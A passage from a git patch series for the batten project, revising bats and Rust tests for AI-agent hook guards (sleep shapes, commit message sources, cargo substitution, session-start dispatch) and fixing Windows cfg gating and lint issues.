on state this repo - # cannot fix." - # - # The premise was measured and true; the conclusion is now refused. "Installed - # by a launcher" and "outside this repository" determine who REMEDIATES a - # registration, never whether the registration policy passes — and the launcher - # files are ours to fix, through the environment that generates them. A census - # that cannot demand anything is what let two exit-2 denies sit on the Stop - # boundary, declared, for as long as anyone cared to leave them. +@test "CLOUD-525 (b): the same registration declared with an owner passes" { + # A census, not a demand. The launcher's registrations are re-provisioned + # mid-session and cannot be deleted from here, so they are RECORDED with an + # owner — an added one becomes visible instead of silent, and no run goes red + # on state this repo cannot fix. MERGED="claude-code .claude/launcher-settings.json" DECLARED="stop-hook-git-check.sh CLOUD-605" complete_wiring with_merged Stop '~/.claude/stop-hook-git-check.sh' run gate - [ "$status" -eq 1 ] - [[ "$output" == *"wiring-sibling-command"* ]] - [[ "$output" == *"retires with CLOUD-605"* ]] - # Still named by surface class and basename, never by path (§5) — the flip - # changes the verdict, not the pointer discipline. - [[ "$output" == *"claude-code:merged:Stop:stop-hook-git-check.sh"* ]] - [[ "$output" != *"$FIXTURE_HOME"* ]] + [ "$status" -eq 0 ] } @test "CLOUD-525 (c): a declared row matching nothing on a surface that WAS read is stale" { @@ -641,15 +555,12 @@ some-other-hook.sh CLOUD-605" [ "$status" -eq 1 ] [[ "$output" == *"wiring-declaration-stale"* ]] [[ "$output" == *"stop-hook-git-check.sh"* ]] - # TWO violations, and the count is still the discriminator (CLOUD-893). It was - # one while a declared sibling passed; now the registration fails on its own - # account and the stale row fails beside it, so the pair is what proves the - # stale rule fired rather than the case passing on the sibling finding alone. - # Drop `wiring-declaration-stale` and this is 1, which is why the number is - # asserted rather than the reason's absence: the summary line names - # `wiring-sibling-command` in its own remedy text, so a substring test for it - # matches the guidance on every red run and never the finding. - [[ "$output" == *"2 wiring violation(s)"* ]] + # EXACTLY ONE violation, which is how this case proves it did not pass on + # case (a)'s `wiring-sibling-command` instead. Asserted through the COUNT + # rather than by matching the reason's absence in `$output`: the summary line + # names `wiring-sibling-command` in its own remedy text, so a substring test + # for it matches the guidance on every red run and never the finding. + [[ "$output" == *"1 wiring violation(s)"* ]] } @test "CLOUD-525 (c2): NO MERGED SURFACE READ IS COULD-NOT-LOOK, never a stale row" { @@ -698,50 +609,28 @@ some-other-hook.sh CLOUD-605" [[ "$output" == *"wiring-declaration-closed-owner"* ]] } -@test "CLOUD-525: an OPEN owner adds no closed-owner finding to the same declared row" { +@test "CLOUD-525: an OPEN owner keeps the same declared row green" { # The discriminator for (e): without this, a check that refused every declared # row would pass (e) and prove nothing. - # - # RESTATED OVER THE REASON SET, because status no longer discriminates - # (CLOUD-893). This asserted exit 0, and a declared sibling now fails on its - # own account whatever its owner's state — so both arms are red and the exit - # code says nothing about the rule under test. What still differs is exactly - # what (e) is about: a CLOSED owner adds `wiring-declaration-closed-owner` and - # an open one does not. Asserting the count too pins that the difference is one - # finding rather than a coincidence of two red runs. MERGED="claude-code .claude/launcher-settings.json" DECLARED="stop-hook-git-check.sh CLOUD-605" complete_wiring with_merged Stop '~/.claude/stop-hook-git-check.sh' board '{"id":"CLOUD-605","statusType":"unstarted"}' run gate_with_board - [ "$status" -eq 1 ] - [[ "$output" != *"wiring-declaration-closed-owner"* ]] - [[ "$output" == *"1 wiring violation(s)"* ]] + [ "$status" -eq 0 ] } @test "CLOUD-525: with no board piped in, the owner rule is unenforced rather than assumed" { # Could-not-look, and it must be neither a pass for the WRONG reason nor a # failure: the ordinary pre-commit run supplies no payload, and a gate that # demanded one would be red on every commit. - # - # RESTATED OVER THE REASON SET for the same reason as the case above: the - # declared sibling fails regardless, so exit 0 stopped being available to - # express "the owner rule did not run". Absence of the finding is the claim, - # and it always was — the old assertion could only ever have been a proxy for - # it, and the proxy is what broke. - # - # Note this is exactly the arm that let a CLOSED owner sit unnoticed on this - # repository's own two merged rows: CLOUD-605 completed 2026-08-23 while both - # rows still named it, and the ordinary `mise run` path pipes no board. MERGED="claude-code .claude/launcher-settings.json" DECLARED="stop-hook-git-check.sh CLOUD-605" complete_wiring with_merged Stop '~/.claude/stop-hook-git-check.sh' run gate - [ "$status" -eq 1 ] - [[ "$output" != *"wiring-declaration-closed-owner"* ]] - [[ "$output" == *"1 wiring violation(s)"* ]] + [ "$status" -eq 0 ] } @test "CLOUD-525: an ABSENT merged surface is the ordinary case, not a finding" { diff --git a/tests/run-shape-guard-quoting.bats b/tests/run-shape-guard-quoting.bats index 4b5c315c0..c1f750b20 100644 --- a/tests/run-shape-guard-quoting.bats +++ b/tests/run-shape-guard-quoting.bats @@ -16,17 +16,8 @@ guard() { jq -nc --arg c "$1" '{tool_input: {command: $c}}' | "$GUARD" } -# THE VERDICT IS THE EXIT STATUS NOW, not a document this guard wrote. It is -# dispatched by `batten hook` as a `[[hook.handler]]` row (CLOUD-312 row 4), -# where §7's table is the contract: `2` refuses with its reason on stderr, `0` -# allows, and a host decision document on stdout is `Violation::ImpersonatedHost` -# — reported and never forwarded. `tests/run-shape-guard.bats` carries the same -# pair and the same reason. -# -# `$status` is the global bats `run` sets, so this reads the status of the call -# the case just made; the argument is kept so every call site stays as it was. denied() { - [ "$status" -eq 2 ] + [[ "$1" == *'"deny"'* ]] } @test "a multi-line commit message quoting the shapes is not the shapes" { diff --git a/tests/run-shape-guard.bats b/tests/run-shape-guard.bats index 01e8eb0c0..c3bffca6b 100644 --- a/tests/run-shape-guard.bats +++ b/tests/run-shape-guard.bats @@ -57,23 +57,8 @@ guard() { jq -nc --arg c "$1" '{tool_input: {command: $c}}' | "$GUARD" } -# THE VERDICT IS THE EXIT STATUS NOW, not a document this file wrote. The guard -# is dispatched by `batten hook` as a `[[hook.handler]]` row, where §7's table is -# the whole contract: `2` refuses with its reason on stderr, `0` allows, and a -# host decision document on stdout is `Violation::ImpersonatedHost` — reported -# and never forwarded. Reading the document was how `connector-allow-guard` -# stayed green over a door that discarded every verdict it produced. -# -# `allowed` IS THE HALF THAT GOT STRONGER, and it had to. The rows below asserted -# `$output` did not contain `"deny"`; behind the door that substring never -# appears, so every one of them would pass over a guard that decided nothing at -# all — CLOUD-251's vacuous pass, suite-wide. An exit status has no such reading. denied() { - [ "$status" -eq 2 ] -} - -allowed() { - [ "$status" -eq 0 ] + [[ "$1" == *'"deny"'* ]] } # --- foreground-sleep --------------------------------------------------------- @@ -92,20 +77,20 @@ bg_guard() { # the same call, marked run_in_background @test "THE MEASURED SHAPE: a sleep in the middle of a compound is denied" { run guard 'cd /home/user/batten; sleep 90; git log --oneline -1' - denied + denied "$output" [[ "$output" == *"foreground"* ]] } @test "a leading sleep is denied too" { run guard 'sleep 45; echo done' - denied + denied "$output" } @test "a SHORT sleep is the same shape spending less" { # The predicate is the call's shape, not the duration: 2 seconds still waits # inside the call, and it is what the measured session reached for next. run guard 'pkill -f hk; sleep 2; git status --short' - denied + denied "$output" } @test "the denial names the remedy: background the wait, act on the exit" { @@ -116,7 +101,7 @@ bg_guard() { # the same call, marked run_in_background @test "a wrapper does not hide it" { run guard 'timeout 300 sleep 120' - denied + denied "$output" } @test "a BACKGROUND sleep is allowed — it is the recommended wait" { @@ -124,7 +109,7 @@ bg_guard() { # the same call, marked run_in_background # waiting on a condition, so denying it would be a pure false positive, and # a guard with false positives gets bypassed. run bg_guard 'until [ -f /tmp/done ]; do sleep 1; done' - allowed + [[ "$output" != *'"deny"'* ]] } # --- the background TIMER (CLOUD-821) ---------------------------------------- @@ -141,13 +126,13 @@ bg_guard() { # the same call, marked run_in_background # which changed a decision, while the completion notification they duplicated # fired 523 times unread. run bg_guard 'sleep 590; tail -6 /tmp/land.log' - denied + denied "$output" [[ "$output" == *"TIMER"* ]] } @test "a bare backgrounded sleep waits for nothing and reports nothing" { run bg_guard 'sleep 300' - denied + denied "$output" } @test "the timer denial names both affordances: the exit notification and alive" { @@ -163,47 +148,47 @@ bg_guard() { # the same call, marked run_in_background # `while`, not just `until`: both are condition-driven and both exit when the # condition says so. Only the keyword differs. run bg_guard 'while ! mise run alive | grep -q land; do sleep 5; done' - allowed + [[ "$output" != *'"deny"'* ]] } @test "a backgrounded wait on state nothing notifies you about stays allowed" { # The case the carve-out exists for: a remote queue is not a task this # session started, so no completion notification covers it. run bg_guard 'until curl -sf https://example.invalid/ready; do sleep 5; done' - allowed + [[ "$output" != *'"deny"'* ]] } @test "a backgrounded long-running command with no sleep is untouched" { # The overwhelmingly common background call. If this reddened, the rule would # be bypassed within a session and would then be worse than nothing. run bg_guard 'mise run verify' - allowed + [[ "$output" != *'"deny"'* ]] } @test "a foreground call with no sleep is still none of this rule's business" { run guard 'git rebase origin/main' - allowed + [[ "$output" != *'"deny"'* ]] } @test "a backgrounded sleep described in prose is prose" { # The scrubbing the other rules depend on, asserted on this one: a commit # message documenting the refused shape must not be refused as one. run bg_guard 'git commit -m "refuse a backgrounded sleep 590 that polls a log"' - allowed + [[ "$output" != *'"deny"'* ]] } @test "a sleep written INSIDE a quoted span or a heredoc is not a call" { # A commit message or a task body describing the shape is prose, not the # shape — the same scrubbing the other three rules depend on. run guard 'git commit -m "never use a foreground sleep 90 to poll"' - allowed + [[ "$output" != *'"deny"'* ]] run guard "$(printf 'cat > t.bats <<%s\nrun sleep 5\n%s\n' BATS BATS)" - allowed + [[ "$output" != *'"deny"'* ]] } @test "a bare command with no sleep and no verdict is still none of this guard's business" { run guard 'ls -la' - allowed + [[ "$output" != *'"deny"'* ]] } # --- unsatisfiable-commit (CLOUD-488) ---------------------------------------- @@ -216,14 +201,14 @@ bg_guard() { # the same call, marked run_in_background # in the command string and absent from the element that needed it. ~4 # minutes of gate on a commit git was always going to refuse. run guard "$(printf 'git add -A && git commit -F - >log 2>&1 && mise run land >l2 2>&1 <<%s\nmsg\n%s\n' "'EOF'" EOF)" - denied + denied "$output" } @test "a bare -F - with no redirect anywhere is denied" { run guard 'git commit -F -' - denied + denied "$output" run guard 'git commit --file=- >log' - denied + denied "$output" } # The `no message source at all` case is gone with its subject: that family is @@ -249,30 +234,30 @@ bg_guard() { # the same call, marked run_in_background 'git commit --fixup HEAD' \ 'git commit -C HEAD@{1}'; do run guard "$c" - allowed + [[ "$output" != *'"deny"'* ]] done } @test "a heredoc that genuinely binds to this element is a message source" { # The whole point of judging per element: the same `-F -` is correct here. run guard "$(printf 'git commit -F - <<%s\nmsg\n%s\n' "'EOF'" EOF)" - allowed + [[ "$output" != *'"deny"'* ]] } @test "a file or a here-string redirected into it is a message source too" { run guard 'git commit -F - < /tmp/msg.txt' - allowed + [[ "$output" != *'"deny"'* ]] run guard 'git commit -F - <<< "$msg"' - allowed + [[ "$output" != *'"deny"'* ]] } @test "a git commit written INSIDE a quoted span or a heredoc is not a call" { # Same scrubbing every other rule depends on — and this file's own commit # message is the most likely place to write the shape down. run guard 'echo "git commit -F - hangs the gate"' - allowed + [[ "$output" != *'"deny"'* ]] run guard "$(printf 'cat > t.bats <<%s\nrun git commit -F -\n%s\n' BATS BATS)" - allowed + [[ "$output" != *'"deny"'* ]] } # --- cargo-substitutes-for-a-task (CLOUD-822) -------------------------------- @@ -325,7 +310,7 @@ run = "cargo deny check"' @test "THE MEASURED SHAPE: a weaker clippy through the sanctioned escape is refused" { run guard 'mise exec -- cargo clippy -p batten --all-targets' - denied + denied "$output" [[ "$output" == *"lint:clippy"* ]] # Pointer-only: the subcommand and the task names, never the tree or a diff. [[ "$output" == *'`cargo clippy`'* ]] @@ -333,12 +318,12 @@ run = "cargo deny check"' @test "the task itself is allowed — this rule is about substitution, not about cargo" { run guard 'mise run lint:clippy' - allowed + [[ "$output" != *'"deny"'* ]] } @test "a subcommand no task wraps is a genuine one-off and is untouched" { run guard 'mise exec -- cargo tree' - allowed + [[ "$output" != *'"deny"'* ]] } @test "a BARE cargo is no-bare-cargo's, so the two never report one command" { @@ -346,19 +331,19 @@ run = "cargo deny check"' # reporting one command is the drift this file's header refuses, and # `RESOLVED_VIA` is what tells the mediated form from the bare one. run guard 'cargo clippy --all-targets' - allowed + [[ "$output" != *'"deny"'* ]] } @test "an EQUAL argv is not weaker, so spelling a task's own line out is allowed" { fixture_guard "$TASKS" run fguard 'mise exec -- cargo deny check' - allowed + [[ "$output" != *'"deny"'* ]] } @test "a narrower argv IS weaker, and the task it is weaker than is named" { fixture_guard "$TASKS" run fguard 'mise exec -- cargo clippy -p batten --all-targets' - denied + denied "$output" [[ "$output" == *"lint:clippy"* ]] } @@ -370,7 +355,7 @@ run = "cargo deny check"' # CLOUD-199 measured getting a guard switched off. fixture_guard "$TASKS" run fguard 'mise exec -- cargo run -p batten -- check' - allowed + [[ "$output" != *'"deny"'* ]] } @test "the SAME program argv, missing a flag, is a substitution" { @@ -378,7 +363,7 @@ run = "cargo deny check"' # `--quiet` this invocation omits. fixture_guard "$TASKS" run fguard 'mise exec -- cargo run -p batten -- provision apply' - denied + denied "$output" [[ "$output" == *"batten-check"* ]] } @@ -388,7 +373,7 @@ run = "cargo deny check"' # row exists for would be invisible. fixture_guard "$TASKS" run fguard 'mise exec -- cargo clippy --all-targets --all-features' - denied + denied "$output" [[ "$output" == *"lint:clippy"* ]] } @@ -401,9 +386,9 @@ run = "cargo deny check"' fixture_guard '[tasks."test:cargo"] run = "cargo nextest run --workspace"' run fguard 'mise exec -- cargo test -p batten' - allowed + [[ "$output" != *'"deny"'* ]] run fguard 'mise exec -- cargo nextest run -p batten' - denied + denied "$output" [[ "$output" == *"test:cargo"* ]] } @@ -415,17 +400,17 @@ run = "cargo nextest run --workspace"' description = "Run the shell suite — cargo test for the mise-tasks/ programs" run = "./tests/bats/bin/bats tests/*.bats"' run fguard 'mise exec -- cargo test -p batten' - allowed + [[ "$output" != *'"deny"'* ]] } @test "the refusal names its bypass, since one that cannot be reached is not a remedy" { run guard 'mise exec -- cargo clippy -p batten' - denied + denied "$output" [[ "$output" == *"BATTEN_RUN_SHAPE_BYPASS=1"* ]] [[ "$output" == *"mise run"* ]] } @test "the bypass actually clears it" { run bash -c "jq -nc --arg c 'mise exec -- cargo clippy -p batten' '{tool_input: {command: \$c}}' | BATTEN_RUN_SHAPE_BYPASS=1 '$GUARD'" - allowed + [[ "$output" != *'"deny"'* ]] } diff --git a/tests/session-start.bats b/tests/session-start.bats index 1c7d26ddb..2ffdf3ee0 100644 --- a/tests/session-start.bats +++ b/tests/session-start.bats @@ -131,40 +131,17 @@ real_install_or_skip() { [ "$status" -eq 0 ] } -@test "the hook is dispatched BEHIND batten, never registered beside it" { - # THE FLIP (CLOUD-312 row 10), and kept in the shape this repository keeps its - # other reversals: the old assertion was right for the state it described, so - # what it asserted is stated rather than deleted. It required - # `session-start.sh` to appear in `.claude/settings.json`'s `SessionStart` - # array. That is now the violation — `batten hook` is the only command this - # repository registers natively, and this program was the last of ten - # exceptions. - # - # BOTH HALVES ARE ASSERTED, because either alone is satisfied by a mistake. A - # missing native entry with no handler row is the program silently never - # running; a handler row beside a native entry is it running twice. +@test "the hook is registered as a SessionStart hook" { run python3 -c " import json d = json.load(open('$SETTINGS')) -cmds = [h['command'] for g in d['hooks']['SessionStart'] for h in g['hooks']] -assert not any('session-start.sh' in c for c in cmds), cmds -assert cmds == ['batten hook --harness claude-code'], cmds -print('behind the door') +hooks = d['hooks']['SessionStart'] +cmds = [h['command'] for g in hooks for h in g['hooks']] +assert any('session-start.sh' in c for c in cmds), cmds +print('registered') " [ "$status" -eq 0 ] - [[ "$output" == *"behind the door"* ]] - # The row that dispatches it. Asserted over `batten.toml` rather than by - # running the engine, because what is being pinned is the DECLARATION — - # `tests/wiring-reclaim.bats`' sibling case drives the real dispatch. - run grep -A 4 '^id = "session-start"$' "$BATS_TEST_DIRNAME/../batten.toml" - [ "$status" -eq 0 ] - [[ "$output" == *'on = "session-start"'* ]] - [[ "$output" == *'.claude/hooks/session-start.sh'* ]] - # A bound, and NOT the 5s default: warm runs measure 4-5s, so the default - # would be a coin toss on the ordinary path — stop-guard's own lesson, one - # handler over. - [[ "$output" == *"timeout_ms"* ]] - [[ "$output" != *"timeout_ms = 5000"* ]] + [[ "$output" == *"registered"* ]] } @test "the hook runs green on this checkout" { @@ -226,65 +203,3 @@ print('behind the door') [ "$(readlink "$hooks/$name")" = "$root/.claude/hooks/git-hook.sh" ] done } - -# THE SECOND TIER, and the one the first cannot cover (CLOUD-312 row 10). -# -# Every case above reads `.claude/settings.json`, `batten.toml` or runs the script -# directly. None of them can answer the question that broke the previous -# migration behind this door: whether the ENGINE dispatches a handler at the -# `session-start` event at all. `connector-allow-guard` spent the life of its -# migration behind the door deciding nothing, and its own suite was green -# throughout — because a suite that never drives the real dispatch cannot see it. -# -# A STUB RATHER THAN THE REAL PROGRAM, deliberately. What is under test is the -# engine's routing, and the real program provisions a toolchain — a fixture cannot -# run it, and a case that tried would be asserting about this container again -# (CLOUD-261, the reason the preflight is stubbed above). The real dispatch was -# measured by hand when the row landed: 5s, exit 0, both streams empty, and -# `/tmp/session-start-*.log` freshly written. -@test "THE ENGINE dispatches a session-start handler, which no other case proves" { - local bin="" - for candidate in \ - "${BATTEN_BIN:-}" \ - "$BATS_TEST_DIRNAME/../target/release/batten" \ - "$BATS_TEST_DIRNAME/../target/debug/batten"; do - [ -n "$candidate" ] && [ -x "$candidate" ] || continue - bin="$candidate" - break - done - [ -n "$bin" ] || bin="$(command -v batten || true)" - [ -n "$bin" ] || skip "no batten binary to drive" - - local repo="$BATS_TEST_TMPDIR/door" - mkdir -p "$repo/.claude/hooks" - # Writes a witness and says something, so BOTH halves are observable: that it - # ran at all, and that its stdout became advice rather than being dropped. - cat >"$repo/.claude/hooks/session-start.sh" <<-'SH' - #!/usr/bin/env bash - : >"$BATS_WITNESS" - printf 'the handler spoke\n' - SH - chmod +x "$repo/.claude/hooks/session-start.sh" - { - echo "version = 1" - echo - echo "[[hook.handler]]" - echo 'id = "session-start"' - echo 'on = "session-start"' - echo 'run = [".claude/hooks/session-start.sh"]' - echo "timeout_ms = 10000" - echo 'owner = "CLOUD-312"' - echo 'expires = "2027-02-28"' - } >"$repo/batten.toml" - GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null git init -q -b main "$repo" - - local witness="$BATS_TEST_TMPDIR/ran" - run env BATS_WITNESS="$witness" bash -c \ - "cd '$repo' && printf '%s' '{\"hook_event_name\":\"SessionStart\"}' | '$bin' hook --harness claude-code" - [ "$status" -eq 0 ] - # It ran. Without this the case is satisfied by an engine that routes nothing. - [ -e "$witness" ] - # And what it said travelled: `AdvisoryReach` lists SessionStart for this host, - # so exit 0 with stdout is advice the engine renders rather than bytes it drops. - [[ "$output" == *"the handler spoke"* ]] -} From 65d4bd4dad097f91b31d166f37c2f247dd242e0c Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Fri, 28 Aug 2026 21:34:39 +0000 Subject: [PATCH 17/27] fix(test): the two door tiers type-check on Windows, where there is no executable bit MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `cross-check` denies warnings on `x86_64-pc-windows-gnu` (CLOUD-397), and both door suites wrote `make_executable` as one function with a `#[cfg(unix)]` block inside it. On every other target that leaves `path` bound and unread, which is `unused_variables` — an error there. Only `connector_allow_door.rs` was reported, because cargo stops at the first failure; `run_shape_guard_door.rs` carried the identical defect and is fixed with it rather than waiting to be found on the next lap. Two cfg'd definitions instead, which is `provision.rs`'s own idiom for exactly this pair. The comment on the `not(unix)` arm records why the shape is two functions rather than one, so the next author does not reintroduce the block. `cross-check` green. Refs: CLOUD-397, CLOUD-312 --- crates/batten/tests/connector_allow_door.rs | 23 +++++++++++++-------- crates/batten/tests/run_shape_guard_door.rs | 23 +++++++++++++-------- 2 files changed, 28 insertions(+), 18 deletions(-) diff --git a/crates/batten/tests/connector_allow_door.rs b/crates/batten/tests/connector_allow_door.rs index ba9064498..7aa516ffa 100644 --- a/crates/batten/tests/connector_allow_door.rs +++ b/crates/batten/tests/connector_allow_door.rs @@ -145,18 +145,23 @@ fn bench(name: &str) -> Bench { } } +#[cfg(unix)] fn make_executable(path: &Path) { - #[cfg(unix)] - { - use std::os::unix::fs::PermissionsExt as _; - let mut mode = std::fs::metadata(path) - .expect("the copy exists") - .permissions(); - mode.set_mode(0o755); - std::fs::set_permissions(path, mode).expect("the copy is runnable"); - } + use std::os::unix::fs::PermissionsExt as _; + let mut mode = std::fs::metadata(path) + .expect("the copy exists") + .permissions(); + mode.set_mode(0o755); + std::fs::set_permissions(path, mode).expect("the copy is runnable"); } +// Windows has no executable bit; the extension carries it. Two cfg'd definitions +// rather than one function with a `#[cfg(unix)]` block inside, because that shape +// leaves `path` unused on the other target and `cross-check` denies warnings +// (CLOUD-397). `provision.rs`'s pair is the idiom. +#[cfg(not(unix))] +fn make_executable(_path: &Path) {} + #[test] fn the_measured_defect_the_door_forwards_no_host_document_the_handler_wrote() { // The one case that would have caught the migration. Stated over the diff --git a/crates/batten/tests/run_shape_guard_door.rs b/crates/batten/tests/run_shape_guard_door.rs index 0afcf96db..a361a505c 100644 --- a/crates/batten/tests/run_shape_guard_door.rs +++ b/crates/batten/tests/run_shape_guard_door.rs @@ -77,18 +77,23 @@ expires = "2027-02-28" dir } +#[cfg(unix)] fn make_executable(path: &Path) { - #[cfg(unix)] - { - use std::os::unix::fs::PermissionsExt as _; - let mut mode = std::fs::metadata(path) - .expect("the copy exists") - .permissions(); - mode.set_mode(0o755); - std::fs::set_permissions(path, mode).expect("the copy is runnable"); - } + use std::os::unix::fs::PermissionsExt as _; + let mut mode = std::fs::metadata(path) + .expect("the copy exists") + .permissions(); + mode.set_mode(0o755); + std::fs::set_permissions(path, mode).expect("the copy is runnable"); } +// Windows has no executable bit; the extension carries it. Two cfg'd definitions +// rather than one function with a `#[cfg(unix)]` block inside, because that shape +// leaves `path` unused on the other target and `cross-check` denies warnings +// (CLOUD-397). `provision.rs`'s pair is the idiom. +#[cfg(not(unix))] +fn make_executable(_path: &Path) {} + /// What the door said to the host, and what it said about the handler. struct Door { out: String, From b22819626fa12cc5fc7b75a6d36a3dec100ce80e Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Fri, 28 Aug 2026 21:39:29 +0000 Subject: [PATCH 18/27] fix(test): hoist the door helper's import, which `-D warnings` reads as an item after statements MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `clippy::items_after_statements` is denied workspace-wide, and `connector_allow_door.rs::door` put `use std::io::Write as _;` after the payload was built. The import moves to the top of the function; nothing else changes. WHY IT SURFACED ONLY NOW, since the file landed several commits ago: every `verify` on this branch had been stopping earlier — at `tree-clean`, then `config-lint`, then `cross-check` — so the clippy step had not run over it. The lint is not new and neither is the file; the branch had simply never got this far. `lint:clippy` green. Refs: CLOUD-312 --- crates/batten/tests/connector_allow_door.rs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/crates/batten/tests/connector_allow_door.rs b/crates/batten/tests/connector_allow_door.rs index 7aa516ffa..e9b51e195 100644 --- a/crates/batten/tests/connector_allow_door.rs +++ b/crates/batten/tests/connector_allow_door.rs @@ -86,6 +86,8 @@ impl Bench { /// verdict is on stdout, and the door reports a contract violation on /// stderr. Merging them is how a dropped verdict reads as a delivered one. fn door(&self, tool: &str) -> Door { + use std::io::Write as _; + let payload = serde_json::json!({ "hook_event_name": "PreToolUse", "tool_name": tool, @@ -93,7 +95,6 @@ impl Bench { }) .to_string(); - use std::io::Write as _; let mut child = common::batten() .current_dir(&self.repo) .args(["hook", "--harness", "claude-code"]) From e244eb6319528aa662973bd18707db1da7c069d1 Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Fri, 28 Aug 2026 21:59:17 +0000 Subject: [PATCH 19/27] fix(test): the two door suites stop defining a second repo-root resolver MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `git::tests::no_second_repo_root_resolver_exists` counted 3 where exactly 1 is allowed. Both suites this branch adds opened with fn repo_root() -> PathBuf { PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("../..") } which is the shape that test names outright: *"the resolver is defined exactly once across src AND tests (a test-helper reimplementation is still a second implementation)"*. `common::at_root` already exists for this and says why in its own doc comment — *"Deliberately not a repo-root resolver: `git::repo_root` is the one implementation of that (CLOUD-34), and a test helper that rediscovered the root would be a second one."* Both suites use it now; the two local definitions go. It matters here more than the line count suggests. CLOUD-824 deleted `batten-hook.sh` for being a second root resolver in bash — it asked `--show-toplevel` where `git::repo_root` asks the common dir, so from a linked worktree it read the wrong authority and allowed every mediated call silently. A door suite that resolved the root its own way could copy a guard out of the wrong tree and pass. `lint:clippy` green · `no_second_repo_root_resolver_exists` green. Refs: CLOUD-34, CLOUD-824, CLOUD-312 --- crates/batten/tests/connector_allow_door.rs | 8 ++------ crates/batten/tests/run_shape_guard_door.rs | 8 ++------ 2 files changed, 4 insertions(+), 12 deletions(-) diff --git a/crates/batten/tests/connector_allow_door.rs b/crates/batten/tests/connector_allow_door.rs index e9b51e195..aea0a9c31 100644 --- a/crates/batten/tests/connector_allow_door.rs +++ b/crates/batten/tests/connector_allow_door.rs @@ -31,11 +31,7 @@ mod common; use std::path::{Path, PathBuf}; -use common::{git_in, scratch, stderr, stdout, write}; - -fn repo_root() -> PathBuf { - PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("../..") -} +use common::{at_root, git_in, scratch, stderr, stdout, write}; /// ONE ROW. No `[[rule]]` at all, so nothing in the engine can produce a verdict /// of its own and be mistaken for the handler's. @@ -127,7 +123,7 @@ fn bench(name: &str) -> Bench { // too: under `mutant` that tree is the mutated one. for task in ["connector-allow-guard.sh", "connector-allow-resolve.sh"] { let to = repo.join("mise-tasks").join(task); - std::fs::copy(repo_root().join("mise-tasks").join(task), &to) + std::fs::copy(at_root("mise-tasks").join(task), &to) .expect("the guard is copied from this tree"); make_executable(&to); } diff --git a/crates/batten/tests/run_shape_guard_door.rs b/crates/batten/tests/run_shape_guard_door.rs index a361a505c..d985d1ad6 100644 --- a/crates/batten/tests/run_shape_guard_door.rs +++ b/crates/batten/tests/run_shape_guard_door.rs @@ -34,11 +34,7 @@ mod common; use std::path::{Path, PathBuf}; -use common::{run_with_stdin, scratch, stderr, stdout, write}; - -fn repo_root() -> PathBuf { - PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("../..") -} +use common::{at_root, run_with_stdin, scratch, stderr, stdout, write}; /// A fixture repository carrying exactly one `[[hook.handler]]` row. /// @@ -50,7 +46,7 @@ fn fixture(name: &str) -> PathBuf { let dir = scratch(name); std::fs::create_dir_all(dir.join("mise-tasks")).expect("the fixture's task dir"); for task in ["run-shape-guard.sh", "payload-field.sh"] { - let from = repo_root().join("mise-tasks").join(task); + let from = at_root("mise-tasks").join(task); let to = dir.join("mise-tasks").join(task); std::fs::copy(&from, &to).expect("the guard is copied from this tree"); make_executable(&to); From 4f8f41b74b464e0ceb291faaeb4116b8776fd82b Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Fri, 28 Aug 2026 22:27:40 +0000 Subject: [PATCH 20/27] test(door): assert the connector guard's measured defect, and stub the cases that are about the door MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three cases asserted the guard's REPAIRED behaviour — a deny travelling, a grant reaching the host as a preapproval — and the repair is not in this branch: it is an edit to a governed shell file, which `shell-retirement` refuses unless the file is retired, and that guard cannot be retired (it reads `/tmp/mcp-config-cse_*.json` per call, which no Rego module may do and no Rust port may carry into the core). So they asserted a fix nothing in the tree performs. THE DEFECT IS NOW THE ASSERTION. `the_committed_guard_writes_a_host_document_so_its_verdict_is_dropped` requires the violation line `hook.handler connector-allow-guard: wrote a host decision document` and requires that neither arm reached the host. That is the state on `main` today, measured 2026-08-26 and re-measured here, and stating it as a test rather than a comment is what makes it evidence: the case FLIPS the day the guard is repaired, and its failure message says so and names what to restore. Stated over the violation LINE rather than over the missing verdict, because a missing verdict is also what a handler that never ran produces — and telling those two apart is this suite's whole subject. THE OTHER THREE ARE ABOUT THE DOOR, NOT THE GUARD, so they drive a stub handler now. `stub_guard` writes a program that answers on the contract — exit 2 with a reason on stderr, or exit 0 with text under `preapproves` — and each case fails only when the channel it names breaks, instead of failing for the guard's reason. ONE OF THEM WAS ALREADY PASSING VACUOUSLY, which is why this is not just tidying. `an_engine_deny_beats_a_handler_grant_on_the_same_call` is the composition safety property: a grant may upgrade an allow and nothing else. Driven against the committed guard it asserted nothing at all — that guard's grant is dropped before composition is reached, so the engine's deny stood unopposed and the case was green over a composition that had never run. CLOUD-418's shape exactly. With the stub the two answers genuinely collide on one call. `the_impersonation_detector_is_live_behind_this_row` already wrote its own stub by hand; it uses the shared helper now. 7/7 green. Refs: CLOUD-191, CLOUD-312, CLOUD-418, CLOUD-1059 --- crates/batten/tests/connector_allow_door.rs | 111 +++++++++++++------- 1 file changed, 74 insertions(+), 37 deletions(-) diff --git a/crates/batten/tests/connector_allow_door.rs b/crates/batten/tests/connector_allow_door.rs index aea0a9c31..595de46f1 100644 --- a/crates/batten/tests/connector_allow_door.rs +++ b/crates/batten/tests/connector_allow_door.rs @@ -159,63 +159,98 @@ fn make_executable(path: &Path) { #[cfg(not(unix))] fn make_executable(_path: &Path) {} +/// Replace the copied guard with a stub that answers on the handler contract. +/// +/// **The door's own channels are asserted through this rather than through the +/// committed guard**, and that separation is the point rather than convenience: +/// the guard cannot use those channels today (see +/// `the_committed_guard_writes_a_host_document_so_its_verdict_is_dropped`), so a +/// case driving it would assert the door's capability and fail for the guard's +/// reason. Stubbed, each case fails only when the thing it names breaks. +fn stub_guard(bench: &Bench, body: &str) { + write( + &bench.repo, + "mise-tasks/connector-allow-guard.sh", + &format!("#!/usr/bin/env bash\n{body}\n"), + ); + 